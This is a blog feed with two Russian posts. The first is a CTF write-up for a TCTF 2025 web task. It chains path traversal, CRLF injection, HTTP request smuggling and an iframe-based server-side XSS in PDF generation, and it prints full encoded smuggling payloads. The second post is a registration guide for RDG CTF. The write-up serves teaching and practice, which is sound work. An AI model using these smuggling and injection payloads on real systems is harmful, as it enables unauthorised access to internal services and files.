<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>Ilya</title><author><name>Ilya</name></author><id>https://teletype.in/atom/collapsz</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/collapsz?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/collapsz?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-09-17T21:08:30.593Z</updated><entry><id>collapsz:zRMUUliR-h7</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/zRMUUliR-h7?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>Капибардак | TCTF 2025</title><published>2025-04-23T08:41:16.776Z</published><updated>2025-04-23T08:52:46.593Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/38/ba/38badfcb-7e54-4005-b34a-186b12a67ae9.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/3f/41/3f419fe3-16af-43a5-acb4-d169dff5145d.png&quot;&gt;@fefuctf @collapsz</summary><content type="html">
  &lt;p id=&quot;h6yi&quot;&gt;@fefuctf @collapsz&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;kAqj&quot;&gt;Вступление&lt;/h3&gt;
  &lt;p id=&quot;ma8d&quot;&gt;Всем привет! Сегодня пробежимся по решению очень интересного таска с &lt;code&gt;TCTF 2025&lt;/code&gt; с весьма интересной цепочкой атаки. &lt;/p&gt;
  &lt;figure id=&quot;oDap&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3f/41/3f419fe3-16af-43a5-acb4-d169dff5145d.png&quot; width=&quot;1821&quot; /&gt;
    &lt;figcaption&gt;task&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;2Ts7&quot;&gt;Анализ приложения&lt;/h3&gt;
  &lt;p id=&quot;jbZ0&quot;&gt;Приложение представляет собой сервис для работы с авиабилетами. Можно пройти электронную регистрацию, зарегистрироваться в бизнес-зону и подать заявку на возврат билета:&lt;/p&gt;
  &lt;figure id=&quot;B4AC&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/75/58/75581407-0557-496b-a7c3-a3d5923f7dee.png&quot; width=&quot;2443&quot; /&gt;
    &lt;figcaption&gt;Application&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SEpI&quot;&gt;При проведении электронной регистрации приложение возвращает нам PDF с нашим билетом:&lt;/p&gt;
  &lt;figure id=&quot;Tj08&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/0d/42/0d427507-14e0-487d-bc57-2e0f8154280b.png&quot; width=&quot;2444&quot; /&gt;
    &lt;figcaption&gt;ticket&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;aOfS&quot;&gt;При регистрации в бизнес-зал возвращает идентификатор бронирования &lt;/p&gt;
  &lt;figure id=&quot;5Zxi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/16/21/1621529b-2049-483d-8d15-2d7fefb32024.png&quot; width=&quot;610&quot; /&gt;
    &lt;figcaption&gt;lounge&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nZcF&quot;&gt;И при возврате билета – шаблонный ответ&lt;/p&gt;
  &lt;figure id=&quot;YHKu&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b7/40/b740b6e6-553d-4ecc-a9f5-74cfa68a1520.png&quot; width=&quot;1911&quot; /&gt;
    &lt;figcaption&gt;refund&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;ARpW&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b6/71/b671c426-9f54-4a22-bc24-cfc22383d896.png&quot; width=&quot;1838&quot; /&gt;
    &lt;figcaption&gt;response&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ozio&quot;&gt;В целом на этом все. Пару векторов на этом этапе мы уже успели прикинуть – &lt;code&gt;Server Side XSS via Dynamic PDF&lt;/code&gt; и &lt;code&gt;XXE via DOCX upload&lt;/code&gt;. Приступим к изучению  кода.&lt;/p&gt;
  &lt;h3 id=&quot;fsCQ&quot;&gt;Анализ исходников&lt;/h3&gt;
  &lt;p id=&quot;orbI&quot;&gt;Приложение представлено четырьмя сервисами – &lt;code&gt;backend, printer, nginx, internal-balancer&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;6BKj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/2c/e1/2ce1baac-254a-4ece-81c8-4dee520e4d8e.png&quot; width=&quot;3588&quot; /&gt;
    &lt;figcaption&gt;servises&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;e3F4&quot;&gt;В корне лежит &lt;code&gt;/repair-code&lt;/code&gt; – его-то нам и нужно достать по легенде задания. Первым делом посмотрим на потенциал для развития &lt;code&gt;XXE&lt;/code&gt;. За это отвечает функция &lt;code&gt;process_booking()&lt;/code&gt; из &lt;code&gt;backend/main.py&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;YKFk&quot;&gt;Ее код:&lt;/p&gt;
  &lt;figure id=&quot;12Rw&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/30/42/30429a41-86bf-4792-9102-cc3429e3f9d5.png&quot; width=&quot;1890&quot; /&gt;
    &lt;figcaption&gt;process_booking&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;IlVR&quot;&gt;Из кода видно, что приложение использует библиотеку &lt;code&gt;python-docx&lt;/code&gt;, которая по умолчанию отключает использование внешних сущностей, что режет нам потенциал развития &lt;code&gt;XXE&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;6o3G&quot;&gt;Идем дальше – за бронирование бизнес-зала отвечает &lt;code&gt;business_lounge()&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;nRuY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c1/69/c169a892-c68c-4ba6-aa8d-a0d50154cb02.png&quot; width=&quot;1444&quot; /&gt;
    &lt;figcaption&gt;business_lounge&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;sFsU&quot;&gt;Тоже ничего интересного. Последняя остановка – &lt;code&gt;boarding_pass&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;l5Lf&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f2/97/f2979049-a4df-43cb-a995-c5cacd468a45.png&quot; width=&quot;1742&quot; /&gt;
    &lt;figcaption&gt;boarding_pass&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2rmA&quot;&gt;Здесь уже интереснее. И пользовательский ввод, и обращение к внутреннему ресурсу. Учитывая, что наш ввод попадает на PDF, можно продолжить думать в сторону &lt;code&gt;Server-Side XSS&lt;/code&gt;. Однако шаблон пдфки вполне себе успешно экранирует получаемые данные: &lt;/p&gt;
  &lt;figure id=&quot;w2NQ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/82/c1/82c1cc5c-b326-4755-bd0c-39f84210e952.png&quot; width=&quot;1358&quot; /&gt;
    &lt;figcaption&gt;ticket.tmpl&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;InrI&quot;&gt;В &lt;code&gt;handlebars&lt;/code&gt; шаблонах &lt;code&gt;{{ }}&lt;/code&gt; используются как обработчики для экранированного ввода, а &lt;code&gt;{{{ }}}&lt;/code&gt; – для неэкранированного. Однако в самом низу можно увидеть наличие &lt;strong&gt;кастомного&lt;/strong&gt; обработчика &lt;code&gt;trace&lt;/code&gt;: &lt;/p&gt;
  &lt;figure id=&quot;AUAV&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c0/3d/c03d8f3f-08a6-4bb8-bd49-8a4a49fd35eb.png&quot; width=&quot;1208&quot; /&gt;
    &lt;figcaption&gt;trace&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hLtV&quot;&gt;В &lt;code&gt;pdf.js&lt;/code&gt; можем увидеть реализацию этого кастомного обработчика:&lt;/p&gt;
  &lt;figure id=&quot;5gFs&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/20/ad/20ad31ce-be45-4098-b18b-8a9ad0a8c24d.png&quot; width=&quot;1206&quot; /&gt;
    &lt;figcaption&gt;trace&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;xLBd&quot;&gt;Сама же функция генерации &lt;code&gt;generateBoardingPass&lt;/code&gt; импортируется в &lt;code&gt;server.js &lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;ayI7&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d5/95/d595a57d-bf8a-42c5-88f3-d2f5b4531947.png&quot; width=&quot;1672&quot; /&gt;
    &lt;figcaption&gt;generateBoardingPass&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;8Zz5&quot;&gt;Сам &lt;code&gt;server.js&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;P2Gg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/19/fb/19fb3a55-a695-4919-88b8-8bc601708cbb.png&quot; width=&quot;1640&quot; /&gt;
    &lt;figcaption&gt;server.js&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6mZz&quot;&gt;Анализируя код, можно придти к выводу, что сервер принимает &lt;code&gt;boardingPassData&lt;/code&gt; и использует эти данные при генерации тикета, вызывая функцию &lt;code&gt;generateBoardingPass()&lt;/code&gt; , при этом в генерации участвует кастомный обработчик &lt;code&gt;trace&lt;/code&gt; – рассмотрим его чуть подробнее. &lt;/p&gt;
  &lt;p id=&quot;uX81&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;P8GS&quot;&gt;&lt;code&gt;server.js&lt;/code&gt; принимает заголовок &lt;code&gt;x-trace-id&lt;/code&gt; и передает его в обработчик. Далее выполняется проверка условий – если значение заголовка имеет тип &lt;code&gt;string&lt;/code&gt; длиной 36 символов, выполняется &lt;code&gt;return&lt;/code&gt; &lt;strong&gt;БЕЗ ЭКРАНИРОВАНИЯ&lt;/strong&gt; – и этот ввод попадает в наш итоговый PDF. Если заголовка нет либо он не удовлетворяет условиям – генерируется &lt;code&gt;uuid&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;vjhz&quot;&gt;Как мы помним, в &lt;code&gt;main.py&lt;/code&gt; при генерации тикета заголовок &lt;code&gt;x-trace-id&lt;/code&gt; устанавливается явно с использованием библиотеки &lt;code&gt;requests&lt;/code&gt; – здесь мы бессильны. Значит чтобы получить ввод без экранирования, нужно отправить запрос на &lt;code&gt;printer&lt;/code&gt; в обход &lt;code&gt;backend&lt;/code&gt;. Но как, если &lt;code&gt;api&lt;/code&gt; закрыты и сервисы доступны только во внутренней подсети, а единственный интерфейс взаимодействия с ней – &lt;code&gt;nginx&lt;/code&gt;? Пришло время посмотреть на его конфигурацию. &lt;/p&gt;
  &lt;p id=&quot;NBpq&quot;&gt;Сам &lt;code&gt;nginx.conf&lt;/code&gt; перенаправляет запросы на внутренний балансировщик&lt;/p&gt;
  &lt;figure id=&quot;HuNQ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/df/19/df1989e1-fe0f-4b39-82d5-c148b129fdfe.png&quot; width=&quot;888&quot; /&gt;
    &lt;figcaption&gt;nginx.conf&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;USpO&quot;&gt;В свою очередь балансировщик уже руководит общением между сервисами:&lt;/p&gt;
  &lt;figure id=&quot;6H1U&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7c/1f/7c1f1666-3934-492f-b000-427a14892786.png&quot; width=&quot;1462&quot; /&gt;
    &lt;figcaption&gt;internal-balancer&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;m1gD&quot;&gt;Выходит, нам нужно заслать запрос на &lt;code&gt;printer/generate&lt;/code&gt;, не обращаясь при этом к &lt;code&gt;backend&lt;/code&gt; и не имея доступа к внутренней сети сервисов. Уязвимость здесь кроется в том, как nginx обрабатывает запросы на API. &lt;/p&gt;
  &lt;figure id=&quot;bAmg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d2/49/d24980a2-e62c-4d97-8498-6414f3b79c4f.png&quot; width=&quot;864&quot; /&gt;
    &lt;figcaption&gt;nginx&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9C8c&quot;&gt;Эндпоинт, который вводит пользователь, напрямую попадает в URL на &lt;code&gt;internal-balancer&lt;/code&gt;. Однако что нам мешает провернуть такой фокус:&lt;/p&gt;
  &lt;p id=&quot;XXeS&quot;&gt;&lt;code&gt;https:///t-bedlam-d0dw3v3n.spbctf.org/api/../generate&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;MQRx&quot;&gt;При парсинге запроса nginx отделит &lt;code&gt;$uri&lt;/code&gt; и направит его на &lt;code&gt;internal-balancer&lt;/code&gt; &lt;/p&gt;
  &lt;p id=&quot;CEbC&quot;&gt;&lt;a href=&quot;http://internal-balancer/api/../generate&quot; target=&quot;_blank&quot;&gt;&lt;code&gt;http://internal-balancer/../generate&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;cxvX&quot;&gt;При таком раскладе наш запрос напрямую попадет в &lt;code&gt;printer&lt;/code&gt;, ведь роут &lt;code&gt;generate&lt;/code&gt; сразу проксируется туда. Осталось лишь передать данные с заголовком &lt;code&gt;x-trace-id&lt;/code&gt; – как нам это сделать? &lt;/p&gt;
  &lt;p id=&quot;45WG&quot;&gt;Здесь на помощь приходит атака под названием &lt;code&gt;CRLF Injection&lt;/code&gt;. Мы уже можем передавать спецсимволы в &lt;code&gt;$uri&lt;/code&gt;, но что нам мешает передать туда спецсимволы возврата каретки и newline – &lt;code&gt;\n \r&lt;/code&gt;? Да ничего =) &lt;/p&gt;
  &lt;p id=&quot;3KyI&quot;&gt;При помощи этой инъекции мы проводим атаку &lt;code&gt;http smuggling&lt;/code&gt; – контрабандой засылаем запрос на внутренний сервис в обход бекенда. &lt;/p&gt;
  &lt;p id=&quot;WIol&quot;&gt;Составляем желаемый запрос с указанием &lt;code&gt;traceid&lt;/code&gt; – &lt;code&gt;string&lt;/code&gt; и 36 символов длиной:&lt;/p&gt;
  &lt;pre id=&quot;fPiN&quot;&gt;POST /api/../generate HTTP/1.0
Host: printer
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Trace-Id: 123456-123456-123456-123456-123456-1

passenger=collapsz z&amp;amp;flight_number=1&amp;amp;date=1&amp;amp;seat=1&amp;amp;from=1&amp;amp;to=1&amp;amp;departure=1&amp;amp;arrival=1&amp;amp;gate=1&amp;amp;terminal=1&lt;/pre&gt;
  &lt;p id=&quot;5EpC&quot;&gt;Далее нам необходимо заслать этот запрос через &lt;code&gt;$uri&lt;/code&gt; в nginx, для этого дважды кодируем этот запрос в URL, чтобы через два хопа наш запрос все еще был функциональным, получим следующее:&lt;/p&gt;
  &lt;pre id=&quot;qqKN&quot;&gt;POST%2520%252Fapi%252F%252E%252E%252Fgenerate%2520HTTP%252F1%252E0%250AHost%253A%2520printer%250AContent%252DLength%253A%2520101%250AContent%252DType%253A%2520application%252Fx%252Dwww%252Dform%252Durlencoded%250AX%252DTrace%252DId%253A%2520%253Ciframe%2520src%253D%252Frepair%255Fcode%2520height%253D500%253E%250A%250Apassenger%253DJohn%2520Dowe%2526flight%255Fnumber%253D1%2526date%253D1%2526seat%253D1%2526from%253D1%2526to%253D1%2526departure%253D1%2526arrival%253D1%2526gate%253D1%2526terminal%253D1&lt;/pre&gt;
  &lt;p id=&quot;BFV5&quot;&gt;И в самом конце запроса добавим легитимный:&lt;/p&gt;
  &lt;pre id=&quot;hp9W&quot;&gt;GET /generate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0&lt;/pre&gt;
  &lt;p id=&quot;RvPi&quot;&gt;Итого наш пакет выглядит как-то так: &lt;/p&gt;
  &lt;pre id=&quot;02ck&quot;&gt;POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0AHost%3A%20printer%0AContent-Length%3A%20101%0AContent-Type%3A%20application/x-www-form-urlencoded%0AX-Trace-Id%3A%20%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%32%33%34%35%36%2d%31%0A%0Apassenger%3DJohn%2BDowe%26flight_number%3D1%26date%3D1%26seat%3D1%26from%3D1%26to%3D1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0&lt;/pre&gt;
  &lt;p id=&quot;920D&quot;&gt;Обращаемся к странице: &lt;/p&gt;
  &lt;figure id=&quot;JLDb&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/95/af/95af834d-ca3b-4d23-8a59-9b04144dfb9c.png&quot; width=&quot;2838&quot; /&gt;
    &lt;figcaption&gt;request&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NZCw&quot;&gt;Подменяем содержимое запроса на то, что получили на предыдущем этапе и получаем какой-то PDF документ:&lt;/p&gt;
  &lt;figure id=&quot;pb0O&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a3/e9/a3e93ff2-0812-4c31-a02e-fa52f8346503.png&quot; width=&quot;2902&quot; /&gt;
    &lt;figcaption&gt;Smuggling&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Aoxk&quot;&gt;Открываем PDF и видим, что X-Trace-Id там именно тот, который мы указали в своем запросе! Таким образом мы нашли способ, как повлиять на содержимое переменной, которая целиком генерировалась на бекенде, отправив контрабандный запрос на &lt;code&gt;printer&lt;/code&gt;. &lt;/p&gt;
  &lt;figure id=&quot;JFdP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3f/73/3f7334fd-bf01-4ec5-a28f-ba02370f4646.png&quot; width=&quot;711&quot; /&gt;
    &lt;figcaption&gt;PDF&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;39j0&quot;&gt;Такой трюк оказался возможен в связи с тем, что при парсинге нашего HTTP запроса nginx передал весь эндпоинт, идущий после /api на internal-balancer$uri. Далее при парсинге запроса сервер выполняет URL-декодирование и наш запрос рападается на два самостоятельных, один из которых будет обращаться к внутреннему ресурсу и, находясь в этой внутренней сети, без особых проблем его достигнет&lt;/blockquote&gt;
  &lt;figure id=&quot;TxRp&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e1/fe/e1fe3590-eee2-42dd-a559-6232c893d9fa.png&quot; width=&quot;4092&quot; /&gt;
    &lt;figcaption&gt;smuggling&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fEw5&quot;&gt;Осталось лишь найти способ достать требуемый файл. Для этого докрутим ту самую &lt;code&gt;Server-Side XSS&lt;/code&gt;, поможет нам в этом элемент &lt;code&gt;iframe&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;djGG&quot;&gt;Готовим запрос с модифицированным &lt;code&gt;X-Trace-Id: &amp;lt;iframe src=/repair_code onerror=12&amp;gt;&lt;/code&gt;&lt;/p&gt;
  &lt;pre id=&quot;mYZt&quot;&gt;POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0AHost%3A%20printer%0AContent-Length%3A%20101%0AContent-Type%3A%20application/x-www-form-urlencoded%0AX-Trace-Id%3a%20%3ciframe%20src%3d%2frepair_code%20onerror%3d12%3e%0a%0apassenger%3dJohn%2BDowe%26flight_number%3D1%26date%3D1%26seat%3D1%26from%3D1%26to%3D1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0&lt;/pre&gt;
  &lt;p id=&quot;qLYs&quot;&gt;Доступ к файлику мы получили, однако видим лишь его часть:&lt;/p&gt;
  &lt;figure id=&quot;W9FK&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ab/01/ab01f1ef-a4ff-401f-ba5a-a9366788aed5.png&quot; width=&quot;902&quot; /&gt;
    &lt;figcaption&gt;/repair_codes&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4snf&quot;&gt;Победить это можно, например, увеличив width до 1000: &lt;/p&gt;
  &lt;pre id=&quot;ou3i&quot;&gt;POST /api%2F%2E%2E%2Fgenerate HTTP/1.0
Host: printer
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Trace-Id: &amp;lt;iframe src=/repair_code width=1000&amp;gt;

passenger=John+Dowe&amp;amp;flight_number=1&amp;amp;date=1&amp;amp;seat=1&amp;amp;from=1&amp;amp;to=1&amp;amp;departure=1&amp;amp;arrival=1&amp;amp;gate=1&amp;amp;terminal=1&lt;/pre&gt;
  &lt;p id=&quot;LuvL&quot;&gt;Итоговый запрос:&lt;/p&gt;
  &lt;pre id=&quot;EszQ&quot;&gt;POST /api%252F%252E%252E%252Fgenerate%20HTTP/1.0%0aHost%3a%20printer%0aContent-Length%3a%20101%0aContent-Type%3a%20application%2fx-www-form-urlencoded%0aX-Trace-Id%3a%20%3ciframe%20src%3d%2frepair_code%20width%3d1000%3e%0a%0apassenger%3dJohn%2bDowe%26flight_number%3d1%26date%3d1%26seat%3d1%26from%3d1%26to%3d1%26departure%3D1%26arrival%3D1%26gate%3D1%26terminal%3D1%0A%0AGET%2520%252fgenerate HTTP/2
Host: t-bedlam-d0dw3v3n.spbctf.org
Accept-Encoding: gzip, deflate, br
Accept: /
Content-Length: 0
&lt;/pre&gt;
  &lt;p id=&quot;Wviw&quot;&gt;Скачиваем PDF, открываем и видим там искомый файл: &lt;/p&gt;
  &lt;figure id=&quot;SFWO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4d/6d/4d6d3b33-1350-45b6-80d9-a5eafeb66b2b.png&quot; width=&quot;1514&quot; /&gt;
    &lt;figcaption&gt;instructions&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mvBZ&quot;&gt;Отправляем полученный код на &lt;code&gt;/repair.html&lt;/code&gt; &lt;/p&gt;
  &lt;figure id=&quot;pO69&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c3/7a/c37a1de6-b300-499b-bcc0-e83d391cc96f.png&quot; width=&quot;1505&quot; /&gt;
    &lt;figcaption&gt;flag&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;0gxN&quot;&gt;Таким образом, выстроилась следующая цепочка: &lt;/p&gt;
  &lt;p id=&quot;QUR2&quot;&gt;&lt;code&gt;CRLF Injection -&amp;gt; HTTP Smuggling -&amp;gt; Server-Side XSS via Dynamic PDF&lt;/code&gt;&lt;/p&gt;

</content></entry><entry><id>collapsz:6rNPuLLz5tm</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/6rNPuLLz5tm?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>Регистрация RDG CTF</title><published>2025-03-28T10:04:55.229Z</published><updated>2025-03-28T10:04:55.229Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/79/82/79825639-1c6a-4fd8-b888-c2d9df64a91b.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/23/e9/23e968d4-2bb8-498d-866a-1e2002128566.png&quot;&gt;Привет! Мы написали небольшую инструкцию, чтобы вам было проще справиться с регистрацией на нашей платформе =)</summary><content type="html">
  &lt;p id=&quot;e2tS&quot;&gt;Привет! Мы написали небольшую инструкцию, чтобы вам было проще справиться с регистрацией на нашей платформе =) &lt;/p&gt;
  &lt;p id=&quot;dvtb&quot;&gt;1. Двигаем на &lt;a href=&quot;https://rdg.dvfu.ru&quot; target=&quot;_blank&quot;&gt;https://rdg.dvfu.ru&lt;/a&gt; и находим страничку с регистрацией&lt;/p&gt;
  &lt;figure id=&quot;MUqg&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/23/e9/23e968d4-2bb8-498d-866a-1e2002128566.png&quot; width=&quot;2832&quot; /&gt;
    &lt;figcaption&gt;Шаг 1&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1KFw&quot;&gt;2. Создаем учетку&lt;/p&gt;
  &lt;figure id=&quot;ORBm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1d/02/1d0208ef-ac39-455e-bf18-92225eb597a2.png&quot; width=&quot;2850&quot; /&gt;
    &lt;figcaption&gt;Шаг 2&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zxX6&quot;&gt;3. Если вы капитан команды, отправляемся во вкладку &amp;quot;Команда&amp;quot;. Если вы не являетесь капитаном команды, можете сразу перейти к пункту 5&lt;/p&gt;
  &lt;figure id=&quot;jif5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7b/90/7b903b86-3571-4826-af7d-a644f1c47b87.png&quot; width=&quot;2838&quot; /&gt;
    &lt;figcaption&gt;Шаг 3&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wOoH&quot;&gt;4. Cоздаем команду. (!!!Используйте то название, которое указывали при регистрации команды в Яндекс Форме). После этого копируем и рассылаем код приглашения участникам вашей команды  &lt;/p&gt;
  &lt;figure id=&quot;Xyvc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e5/47/e54768a6-016c-47d2-8d91-85a5b66ead2c.png&quot; width=&quot;2858&quot; /&gt;
    &lt;figcaption&gt;Шаг 4&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;eNEL&quot;&gt;5. Если вы не капитан – тыкаем присоединиться и вставляем код команды, полученный ранее от капитана&lt;/p&gt;
  &lt;figure id=&quot;uMfj&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/de/a5/dea5f721-0256-4549-937b-c82dedde97c5.png&quot; width=&quot;972&quot; /&gt;
    &lt;figcaption&gt;Шаг 5&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iMrG&quot;&gt;6. Далее отправляемся во вкладку игры, выбираем свой зачет и присоединяемся, выбрав ту команду, которую вы зарегистрировали для участия&lt;/p&gt;
  &lt;figure id=&quot;ivGN&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ad/c2/adc23dcb-350d-4ccc-94d7-fc8682a642eb.png&quot; width=&quot;2832&quot; /&gt;
    &lt;figcaption&gt;Шаг 6 &lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;4Ssc&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4e/d4/4ed40a82-9121-421a-bb51-98e14540fd5e.png&quot; width=&quot;2704&quot; /&gt;
    &lt;figcaption&gt;Шаг 6&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;whWx&quot;&gt;7. Ждем открытия платформы и появления заданий! &lt;/p&gt;
  &lt;p id=&quot;ArZt&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;7eIg&quot;&gt;Так же обязательно поделитесь со своей командой ссылкой на наш канал и чат, если они туда еще не вступили: &lt;/p&gt;
  &lt;p id=&quot;Rk7A&quot;&gt;&lt;a href=&quot;https://t.me/RDGCTF&quot; target=&quot;_blank&quot;&gt;https://t.me/RDGCTF&lt;/a&gt; – канал&lt;/p&gt;
  &lt;p id=&quot;6Xpi&quot;&gt;&lt;a href=&quot;https://t.me/+1T4ledKtHVxjYzMy&quot; target=&quot;_blank&quot;&gt;https://t.me/+1T4ledKtHVxjYzMy&lt;/a&gt; – чат&lt;/p&gt;

